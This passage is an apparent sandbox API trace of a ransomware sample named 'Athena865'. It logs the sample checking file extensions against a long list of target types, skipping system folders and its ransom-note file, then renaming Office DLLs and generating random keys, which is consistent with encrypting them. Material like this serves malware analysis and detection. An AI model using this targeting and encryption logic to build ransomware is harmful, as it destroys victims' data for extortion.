[0140.070] lstrcmpiW (lpString1="tl.dll", lpString2="nrmlib") returned 1 [0140.070] lstrlenW (lpString="ns2") returned 3 [0140.070] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0140.070] lstrlenW (lpString="ns3") returned 3 [0140.070] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0140.070] lstrlenW (lpString="ns4") returned 3 [0140.070] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0140.070] lstrlenW (lpString="nsf") returned 3 [0140.071] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0140.071] lstrlenW (lpString="nv") returned 2 [0140.071] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0140.072] lstrlenW (lpString="nv2") returned 3 [0140.072] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0140.072] lstrlenW (lpString="nwdb") returned 4 [0140.072] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0140.072] lstrlenW (lpString="nyf") returned 3 [0140.073] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0140.074] lstrlenW (lpString="odb") returned 3 [0140.074] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0140.075] lstrlenW (lpString="odb") returned 3 [0140.075] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0140.075] lstrlenW (lpString="oqy") returned 3 [0140.075] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0140.075] lstrlenW (lpString="ora") returned 3 [0140.075] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0140.075] lstrlenW (lpString="orx") returned 3 [0140.075] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0140.076] lstrlenW (lpString="owc") returned 3 [0140.076] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0140.076] lstrlenW (lpString="p96") returned 3 [0140.076] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0140.076] lstrlenW (lpString="p97") returned 3 [0140.076] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0140.076] lstrlenW (lpString="pan") returned 3 [0140.076] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0140.076] lstrlenW (lpString="pdb") returned 3 [0140.076] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0140.076] lstrlenW (lpString="pdm") returned 3 [0140.076] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0140.076] lstrlenW (lpString="pnz") returned 3 [0140.076] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0140.076] lstrlenW (lpString="qry") returned 3 [0140.076] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0140.077] lstrlenW (lpString="qvd") returned 3 [0140.077] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0140.077] lstrlenW (lpString="rbf") returned 3 [0140.077] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0140.077] lstrlenW (lpString="rctd") returned 4 [0140.077] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0140.077] lstrlenW (lpString="rod") returned 3 [0140.077] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0140.077] lstrlenW (lpString="rodx") returned 4 [0140.077] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0140.077] lstrlenW (lpString="rpd") returned 3 [0140.077] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0140.077] lstrlenW (lpString="rsd") returned 3 [0140.077] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0140.077] lstrlenW (lpString="sas7bdat") returned 8 [0140.077] lstrcmpiW (lpString1="Intl.dll", lpString2="sas7bdat") returned -1 [0140.077] lstrlenW (lpString="sbf") returned 3 [0140.077] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0140.077] lstrlenW (lpString="scx") returned 3 [0140.077] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0140.077] lstrlenW (lpString="sdb") returned 3 [0140.077] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0140.077] lstrlenW (lpString="sdc") returned 3 [0140.077] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0140.077] lstrlenW (lpString="sdf") returned 3 [0140.077] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0140.077] lstrlenW (lpString="sis") returned 3 [0140.077] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0140.077] lstrlenW (lpString="spq") returned 3 [0140.077] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0140.078] lstrlenW (lpString="te") returned 2 [0140.078] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0140.078] lstrlenW (lpString="teacher") returned 7 [0140.078] lstrcmpiW (lpString1="ntl.dll", lpString2="teacher") returned -1 [0140.078] lstrlenW (lpString="tmd") returned 3 [0140.078] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0140.078] lstrlenW (lpString="tps") returned 3 [0140.078] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0140.078] lstrlenW (lpString="trc") returned 3 [0140.078] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0140.078] lstrlenW (lpString="trc") returned 3 [0140.078] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0140.078] lstrlenW (lpString="trm") returned 3 [0140.078] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0140.078] lstrlenW (lpString="udb") returned 3 [0140.078] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0140.078] lstrlenW (lpString="udl") returned 3 [0140.078] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0140.078] lstrlenW (lpString="usr") returned 3 [0140.078] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0140.078] lstrlenW (lpString="v12") returned 3 [0140.078] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0140.078] lstrlenW (lpString="vis") returned 3 [0140.078] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0140.078] lstrlenW (lpString="vpd") returned 3 [0140.078] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0140.078] lstrlenW (lpString="vvv") returned 3 [0140.079] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0140.079] lstrlenW (lpString="wdb") returned 3 [0140.079] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0140.079] lstrlenW (lpString="wmdb") returned 4 [0140.079] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0140.079] lstrlenW (lpString="wrk") returned 3 [0140.079] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0140.079] lstrlenW (lpString="xdb") returned 3 [0140.079] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0140.079] lstrlenW (lpString="xld") returned 3 [0140.079] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0140.079] lstrlenW (lpString="xmlff") returned 5 [0140.079] lstrcmpiW (lpString1="l.dll", lpString2="xmlff") returned -1 [0140.079] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll.Athena865") returned 78 [0140.079] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll.athena865"), dwFlags=0x1) returned 1 [0140.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.081] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24456) returned 1 [0140.081] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.081] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.081] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.081] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.082] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.082] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.082] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6290, lpName=0x0) returned 0x154 [0140.084] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6290) returned 0x100000 [0140.085] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.086] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.086] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.086] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.086] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.087] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.087] CloseHandle (hObject=0x154) returned 1 [0140.087] CloseHandle (hObject=0x17c) returned 1 [0140.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.087] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x4388, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ENVELOPR.DLL", cAlternateFileName="")) returned 1 [0140.088] lstrcmpiW (lpString1="ENVELOPR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.088] lstrcmpiW (lpString1="ENVELOPR.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.088] lstrcmpiW (lpString1="ENVELOPR.DLL", lpString2=".") returned 1 [0140.088] lstrcmpiW (lpString1="ENVELOPR.DLL", lpString2="..") returned 1 [0140.088] lstrcmpiW (lpString1="ENVELOPR.DLL", lpString2="windows") returned -1 [0140.088] lstrcmpiW (lpString1="ENVELOPR.DLL", lpString2="bootmgr") returned 1 [0140.088] lstrcmpiW (lpString1="ENVELOPR.DLL", lpString2="temp") returned -1 [0140.088] lstrcmpiW (lpString1="ENVELOPR.DLL", lpString2="pagefile.sys") returned -1 [0140.088] lstrcmpiW (lpString1="ENVELOPR.DLL", lpString2="boot") returned 1 [0140.088] lstrcmpiW (lpString1="ENVELOPR.DLL", lpString2="ids.txt") returned -1 [0140.088] lstrcmpiW (lpString1="ENVELOPR.DLL", lpString2="ntuser.dat") returned -1 [0140.088] lstrcmpiW (lpString1="ENVELOPR.DLL", lpString2="perflogs") returned -1 [0140.088] lstrcmpiW (lpString1="ENVELOPR.DLL", lpString2="MSBuild") returned -1 [0140.088] lstrlenW (lpString="ENVELOPR.DLL") returned 12 [0140.088] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ENVELOPR.DLL" | out: lpString1="ENVELOPR.DLL") returned="ENVELOPR.DLL" [0140.088] lstrlenW (lpString="ENVELOPR.DLL") returned 12 [0140.088] lstrlenW (lpString="Athena865") returned 9 [0140.088] lstrcmpiW (lpString1="ELOPR.DLL", lpString2="Athena865") returned 1 [0140.088] lstrlenW (lpString=".dll") returned 4 [0140.088] lstrcmpiW (lpString1="ENVELOPR.DLL", lpString2=".dll") returned 1 [0140.088] lstrlenW (lpString=".lnk") returned 4 [0140.088] lstrcmpiW (lpString1="ENVELOPR.DLL", lpString2=".lnk") returned 1 [0140.088] lstrlenW (lpString=".ini") returned 4 [0140.088] lstrcmpiW (lpString1="ENVELOPR.DLL", lpString2=".ini") returned 1 [0140.088] lstrlenW (lpString=".sys") returned 4 [0140.088] lstrcmpiW (lpString1="ENVELOPR.DLL", lpString2=".sys") returned 1 [0140.088] lstrlenW (lpString="ENVELOPR.DLL") returned 12 [0140.088] lstrlenW (lpString="bak") returned 3 [0140.088] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0140.089] lstrlenW (lpString="ba_") returned 3 [0140.089] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0140.089] lstrlenW (lpString="dbb") returned 3 [0140.089] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0140.089] lstrlenW (lpString="vmdk") returned 4 [0140.089] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0140.089] lstrlenW (lpString="rar") returned 3 [0140.089] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0140.089] lstrlenW (lpString="zip") returned 3 [0140.089] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0140.089] lstrlenW (lpString="tgz") returned 3 [0140.089] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0140.089] lstrlenW (lpString="vbox") returned 4 [0140.089] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0140.089] lstrlenW (lpString="vdi") returned 3 [0140.089] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0140.089] lstrlenW (lpString="vhd") returned 3 [0140.089] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0140.089] lstrlenW (lpString="vhdx") returned 4 [0140.089] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0140.089] lstrlenW (lpString="avhd") returned 4 [0140.089] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0140.089] lstrlenW (lpString="db") returned 2 [0140.089] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0140.089] lstrlenW (lpString="db2") returned 3 [0140.089] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0140.089] lstrlenW (lpString="db3") returned 3 [0140.089] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0140.089] lstrlenW (lpString="dbf") returned 3 [0140.089] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0140.090] lstrlenW (lpString="mdf") returned 3 [0140.090] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0140.090] lstrlenW (lpString="mdb") returned 3 [0140.090] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0140.090] lstrlenW (lpString="sql") returned 3 [0140.090] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0140.090] lstrlenW (lpString="sqlite") returned 6 [0140.090] lstrcmpiW (lpString1="PR.DLL", lpString2="sqlite") returned -1 [0140.090] lstrlenW (lpString="sqlite3") returned 7 [0140.090] lstrcmpiW (lpString1="OPR.DLL", lpString2="sqlite3") returned -1 [0140.090] lstrlenW (lpString="sqlitedb") returned 8 [0140.090] lstrcmpiW (lpString1="LOPR.DLL", lpString2="sqlitedb") returned -1 [0140.090] lstrlenW (lpString="xml") returned 3 [0140.090] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0140.090] lstrlenW (lpString="$er") returned 3 [0140.090] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0140.090] lstrlenW (lpString="4dd") returned 3 [0140.090] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0140.090] lstrlenW (lpString="4dl") returned 3 [0140.090] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0140.090] lstrlenW (lpString="^^^") returned 3 [0140.090] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0140.090] lstrlenW (lpString="abs") returned 3 [0140.090] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0140.090] lstrlenW (lpString="abx") returned 3 [0140.090] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0140.090] lstrlenW (lpString="accdb") returned 5 [0140.090] lstrcmpiW (lpString1="R.DLL", lpString2="accdb") returned 1 [0140.090] lstrlenW (lpString="accdc") returned 5 [0140.091] lstrcmpiW (lpString1="R.DLL", lpString2="accdc") returned 1 [0140.091] lstrlenW (lpString="accde") returned 5 [0140.091] lstrcmpiW (lpString1="R.DLL", lpString2="accde") returned 1 [0140.091] lstrlenW (lpString="accdr") returned 5 [0140.091] lstrcmpiW (lpString1="R.DLL", lpString2="accdr") returned 1 [0140.091] lstrlenW (lpString="accdt") returned 5 [0140.091] lstrcmpiW (lpString1="R.DLL", lpString2="accdt") returned 1 [0140.091] lstrlenW (lpString="accdw") returned 5 [0140.091] lstrcmpiW (lpString1="R.DLL", lpString2="accdw") returned 1 [0140.091] lstrlenW (lpString="accft") returned 5 [0140.091] lstrcmpiW (lpString1="R.DLL", lpString2="accft") returned 1 [0140.091] lstrlenW (lpString="adb") returned 3 [0140.091] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0140.091] lstrlenW (lpString="adb") returned 3 [0140.091] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0140.091] lstrlenW (lpString="ade") returned 3 [0140.091] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0140.091] lstrlenW (lpString="adf") returned 3 [0140.091] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0140.091] lstrlenW (lpString="adn") returned 3 [0140.091] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0140.091] lstrlenW (lpString="adp") returned 3 [0140.091] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0140.091] lstrlenW (lpString="alf") returned 3 [0140.091] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0140.091] lstrlenW (lpString="ask") returned 3 [0140.091] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0140.091] lstrlenW (lpString="btr") returned 3 [0140.091] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0140.091] lstrlenW (lpString="cat") returned 3 [0140.091] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0140.092] lstrlenW (lpString="cdb") returned 3 [0140.092] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0140.092] lstrlenW (lpString="ckp") returned 3 [0140.092] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0140.092] lstrlenW (lpString="cma") returned 3 [0140.092] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0140.092] lstrlenW (lpString="cpd") returned 3 [0140.092] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0140.092] lstrlenW (lpString="dacpac") returned 6 [0140.092] lstrcmpiW (lpString1="PR.DLL", lpString2="dacpac") returned 1 [0140.092] lstrlenW (lpString="dad") returned 3 [0140.092] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0140.092] lstrlenW (lpString="dadiagrams") returned 10 [0140.092] lstrcmpiW (lpString1="VELOPR.DLL", lpString2="dadiagrams") returned 1 [0140.092] lstrlenW (lpString="daschema") returned 8 [0140.092] lstrcmpiW (lpString1="LOPR.DLL", lpString2="daschema") returned 1 [0140.092] lstrlenW (lpString="db-journal") returned 10 [0140.092] lstrcmpiW (lpString1="VELOPR.DLL", lpString2="db-journal") returned 1 [0140.092] lstrlenW (lpString="db-shm") returned 6 [0140.092] lstrcmpiW (lpString1="PR.DLL", lpString2="db-shm") returned 1 [0140.092] lstrlenW (lpString="db-wal") returned 6 [0140.092] lstrcmpiW (lpString1="PR.DLL", lpString2="db-wal") returned 1 [0140.092] lstrlenW (lpString="dbc") returned 3 [0140.092] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0140.092] lstrlenW (lpString="dbs") returned 3 [0140.092] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0140.092] lstrlenW (lpString="dbt") returned 3 [0140.092] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0140.092] lstrlenW (lpString="dbv") returned 3 [0140.092] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0140.093] lstrlenW (lpString="dbx") returned 3 [0140.093] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0140.093] lstrlenW (lpString="dcb") returned 3 [0140.093] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0140.093] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.Athena865") returned 70 [0140.093] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.athena865"), dwFlags=0x1) returned 1 [0140.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.095] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17288) returned 1 [0140.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.096] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.096] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.096] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.097] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4690, lpName=0x0) returned 0x154 [0140.098] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4690) returned 0x100000 [0140.099] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.100] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.100] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.101] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.101] CloseHandle (hObject=0x154) returned 1 [0140.101] CloseHandle (hObject=0x17c) returned 1 [0140.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.101] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ENVELOPR.DLL.IDX_DLL", cAlternateFileName="ENVELO~1.IDX")) returned 1 [0140.101] lstrcmpiW (lpString1="ENVELOPR.DLL.IDX_DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.101] lstrcmpiW (lpString1="ENVELOPR.DLL.IDX_DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.101] lstrcmpiW (lpString1="ENVELOPR.DLL.IDX_DLL", lpString2=".") returned 1 [0140.101] lstrcmpiW (lpString1="ENVELOPR.DLL.IDX_DLL", lpString2="..") returned 1 [0140.101] lstrcmpiW (lpString1="ENVELOPR.DLL.IDX_DLL", lpString2="windows") returned -1 [0140.101] lstrcmpiW (lpString1="ENVELOPR.DLL.IDX_DLL", lpString2="bootmgr") returned 1 [0140.101] lstrcmpiW (lpString1="ENVELOPR.DLL.IDX_DLL", lpString2="temp") returned -1 [0140.101] lstrcmpiW (lpString1="ENVELOPR.DLL.IDX_DLL", lpString2="pagefile.sys") returned -1 [0140.102] lstrcmpiW (lpString1="ENVELOPR.DLL.IDX_DLL", lpString2="boot") returned 1 [0140.102] lstrcmpiW (lpString1="ENVELOPR.DLL.IDX_DLL", lpString2="ids.txt") returned -1 [0140.102] lstrcmpiW (lpString1="ENVELOPR.DLL.IDX_DLL", lpString2="ntuser.dat") returned -1 [0140.102] lstrcmpiW (lpString1="ENVELOPR.DLL.IDX_DLL", lpString2="perflogs") returned -1 [0140.102] lstrcmpiW (lpString1="ENVELOPR.DLL.IDX_DLL", lpString2="MSBuild") returned -1 [0140.102] lstrlenW (lpString="ENVELOPR.DLL.IDX_DLL") returned 20 [0140.102] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ENVELOPR.DLL.IDX_DLL" | out: lpString1="ENVELOPR.DLL.IDX_DLL") returned="ENVELOPR.DLL.IDX_DLL" [0140.102] lstrlenW (lpString="ENVELOPR.DLL.IDX_DLL") returned 20 [0140.102] lstrlenW (lpString="Athena865") returned 9 [0140.102] lstrcmpiW 